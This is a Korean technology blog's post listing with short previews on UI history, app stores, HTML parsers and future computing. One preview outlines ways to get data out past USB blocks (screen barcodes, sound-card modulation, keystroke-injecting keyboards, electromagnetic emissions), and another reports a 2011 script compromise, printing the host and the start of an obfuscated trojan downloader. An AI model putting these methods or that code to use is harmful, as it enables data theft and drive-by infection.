본문 바로가기

반응형

컴퓨터 기술

UI관련 잡담 윈도는 애플사의 UI에서 배운 점이 많습니다. 그것 때문에 애플이 소송을 걸기도 했습니다. 결국 애플이 졌지만... 95의 UI는 넥스트오에스와 비슷하기도 합니다. 처음에 윈도는 텍스트 기반의 오에스가 될뻔한 적도 있습니다. 하지만 내부적으로 결국 GUI로 결정되었습니다. 오늘날 윈도쪽이 리눅스에 비해 우월성을 내세우는 주장 중 한 항목을 UI가 차지합니다. 전에 시스템(애플의 오에스, 지금은 맥오에스로 바뀜)의 UI관련 책자를 봤습니다. 한글로 번역된 것이며 좀 오래된 책이었죠. 거기에 애플의 철학이 담겨있었습니다. 사용자 테스트도 거기에 나와있었습니다. 그 전에 나온 유닉스의 엑스윈도의 경우에도 그런 얘기가 없지는 않았을 것이라고 생각합니다. 오에스에 관한 다큐멘터리를 봤을 때, 제록스 팔로알토 연구.. 더보기
USB 메모리 막아놓은 곳에서 자료 유출하는 법 USB 메모리 사용을 막은 곳에서도 자료를 유출할 수 있다. 방법은 여러가지다. 일단 모니터로 유출할 수 있다. 모니터에 파일의 내용을 HEX코드나 바코드로 바꿔주는 프로그램을 설치한다. 그 다음 모니터를 사진으로 찍거나 캠코더로 녹화한다. 이 때, 직접 찍을 수도 있고, 컨넥터에 녹화기를 달 수도 있다. 비슷한 방법으로 사운드카드드로 A/D D/A 변환하면 사운드 잭으로 데이터 입출력이 가능하다. 프로그램을 설치하는 방법이 문제다. 특수 제작된 키보드를 꽂으면 컴맨드 프롬프트 상에서 자동으로 컴파일러를 만들고 그 컴파일러로 다시 프로그램을 만들 수 있을 수도 있다. 게임용 매크로 키보드와 비슷한 원리다. 전자기기에서는 전자파도 나온다고 한다. 모니터, 프린터, 본체 등의 전자파를 감지해서 자료를 읽는 .. 더보기
2011년 1월 22일 구글 애드센스관련 사이트 마이센스 바이러스 감염 2011년 1월 22일 구글 애드센스 부정클릭 방지 프로그램인 마이센스(http://adsystem.kr/)가 바이러스에 감염되었다. 마이센스를 포함시킨 웹사이트나 블로그에서는 마이센스를 통해 다운로드된 122.newkr.info/K.Js란 파일에서 Trojan.Downloader.JNSD가 검출된다. K.Js의 내용은 다음과 같다. try { new ActiveXObject(""); } catch (e) { var tSWI6='\x25'+'u9'+'\x30'+'\x39'+QzVAEPm7; tSWI6+=tSWI6; var JYhSHE0="%u"; var CoOhEll7=unescape; //var nXwwpKf6="x"; var uzGmK5="BODY"; } 부분의 mysense.js.html 소스는 다.. 더보기
자바 HTML 파서 리스트 Swing HTML Parser HTML Parser http://sourceforge.net/projects/htmlparser/ CPL 1.0, LGPL Java Mozilla Html Parser http://sourceforge.net/projects/mozillaparser/ MPL 1.1 jsoup http://jsoup.org/ MIT http://stackoverflow.com/questions/3152138/what-are-the-pros-and-cons-of-the-leading-java-html-parsers XPath보다 편한 jQuery식 검색 지원 Jericho HTML Parser http://sourceforge.net/projects/jerichohtml/ EPL, LGPL.. 더보기
조선일보가 가입자의 이메일을 몰래 열어볼 수도 있다 조선일보는 고객 비밀번호를 암호화하지 않고 있는 것 같습니다. 2010년 7월 9일 3시경 현재 암호찾기 기능으로 암호를 찾으면 원문이 그대로 나타납니다. 조선일보에 가입하면 아이디, 아이피, 암호, 주소, 실명, 주민번호 등 모든 걸 갖다 바치게 되는 셈입니다. 이메일이나 쇼핑 사이트에 같은 아이디와 암호를 쓴다면 조선일보도 그걸 볼 수 있다는 말입니다. 당신의 개인정보가 좆선일보의 재산이 되는 것이지요. 법적으로 해시함수를 붙이게 되어있는 걸로 알고 있는데 그렇다면 위법 언론사인가요? 역시 조선일보는 이기적이고 나쁜 길이 있다면 기꺼이 그쪽으로 갑니다. 다른 언론사도 그런 경우 있다면 사례를 모아봅시다. 예전에는 엘지텔레콤이 주민번호만 알면 암호를 알려주게 된 적도 있었습니다. Affero GPL류의.. 더보기
무한대의 처리속도, 저장용량, 네트워크 속도의 컴퓨터가 있다면? 멀티미디어 분야가 상상이 갑니다. 배우가 필요없이 가상 배우와 가상 장소를 배경으로 혼자서 영화를 제작할 수 있습니다. 시나리오를 직접 써야합니다. 음성인식이 보편화될테니 카메라 앞에서 대사를 직접 말하면 되겠군요. 단, 시나리오는 지금껏 나온 모든 영화를 기반으로 한 템플릿이 있어서 어느정도 객관식으로 만들 수 있습니다. 가상배우는 역사상 존재했던 모든 배우가 다 됩니다. 좋아하던 배우 2D 이미지만 입력하면 자동으로 3D 배우로 바뀝니다. 동작도 인식되서 가상 배우에게 적용됩니다. 얼굴 템플릿에 변형을 가하는 방식으로도 생성할 수 있습니다. 상상할 수 있는 모든 장소와 소품 이미지는 이미 만들어져 있습니다. 배경음악은 자동으로 작곡됩니다. 노래는 가상 가수가 부르고 악기는 거의 무한합니다. 이미 음악.. 더보기
노트북 마이크를 원격조정해서 도청하기 [단독]노트북으로도 도청 당한다 http://news.naver.com/main/read.nhn?mode=LSD&mid=shm&sid1=105&oid=020&aid=0002105539 [단독] 내장 마이크 작동 → 실시간 녹음 저장 → 전송후 파일 삭제 http://news.naver.com/main/read.nhn?mode=LSD&mid=shm&sid1=105&oid=020&aid=0002105440 [단독]노트북 도청 막을 방법 있나 http://news.naver.com/main/read.nhn?mode=LSD&mid=shm&sid1=105&oid=020&aid=0002105437 [단독]데스크톱-스마트폰도 안심못해 http://news.naver.com/main/read.nhn?mode=LSD&m.. 더보기
미래의 컴퓨터, 컴퓨터는 컴퓨터가 사라질 때까지 진화한다 컴퓨터의 미래 모습을 상상할 수 있습니다. 일단은 디스플레이 모양만 남고 나머지는 다 작아지는 거죠. 카드형 스마트폰, 책받침형 태블릿은 요새 것들의 직속 후손이 될겁니다. 가정용 데스크탑은 없어지고 대신 책받침형에 키보드나 마우스, 제스처인식을 추가시킬 수 있습니다. 더 작아지면 안경형, 콘택트렌즈형, 두루말이형이 나옵니다. 디스플레이가 없는 MP3P 후손들은 장갑형, 반지형, 구슬형, 펜형, 이어폰형, 인형형이 나올 겁니다. 이때는 이미 컴퓨터가 벽 곳곳에 설치되어 있어서 위의 모바일 컴퓨터와 통신을 하겠죠. 필요에 따라서 피부에 빛을 쏘거나 길거리나 벽 등과 무선으로 연동되는 기능이 생기겠죠. 쉽게 말해서 현재 나와 있는 주변기기 속으로 컴퓨터가 들어간고 보시면 됩니다. 네트워크 속도가 빨라서 세계.. 더보기
애플의 앱스토어는 새로운 기술이 아니다 사람들이 잘 모르시는 얘길 하자면, 아이폰의 앱스토어도 사실 전 부터 있었습니다. BSD에서 리포지터리에서 소프트웨어 통째로 배포하는 기술이 나왔구요. 팜이라는 피디에이용 소프트웨서 쇼핑몰에서 인터넷으로 프로그램 업로드 하는 기능이 있었죠. 그리고 앱스토어 한국산이 베스트셀러 됐다고 좋아하시지만 팜 시절에도 국내 게임사 중 하나가 1위한 적이 있습니다. 사원이 사장 포함 3명이었는데 디아블로처럼 수준높은 RPG게임 이었습니다. 실무자는 개발자, 디자이너 이렇게 둘이었죠. 팜은 애플의 뉴튼 영향을 많이 받았습니다. 컴파일러도 코드워리어를 썼구요. 저도 간단한 애플리케이션 개발해서 사용했습니다. 아직도 추억이 아른거리네요. 느린 씨피유로도 할 건 다 하는 정말 효율적인 OS였습니다. 앱스토어는 소프트웨어 비.. 더보기
욕심을 버리면 삼성전자도 아이폰을 이길 수 있다 삼성전자가 아이폰을 만들 수 없는 이유 http://internetplustv.blogspot.com/2010/04/iphone.html 컴퓨터업인 적이 없던 가전사인 삼성은 미국의 소프트웨어 100년사의 결과물인 아이폰을 넘을 수 없다는 게 요지입니다. 맞는 말이지만 누구나 열심히 하면 역전할 수 있어요... 제 생각에는 안드로이드가 현재로선 제일 유망하고 바다는 아파치나 GPL 호환으로 가면 이길 수 있습니다. 어차피 특허나 상표 문제만 안 걸리면 모든 소프트웨어는 장기간에 걸쳐서 GPL 호환으로 통일됩니다. 그리고 바다는 말 처럼 모든 물이 모이는 제일 낮은 곳이니까 자바나 닷넷, GTK, QT 등 모든 언어를 지원해야됩니다. 물론 그렇게 안 갈 가능성이 크므로 바다는 망할 수도 있습니다. 소프트웨.. 더보기

반응형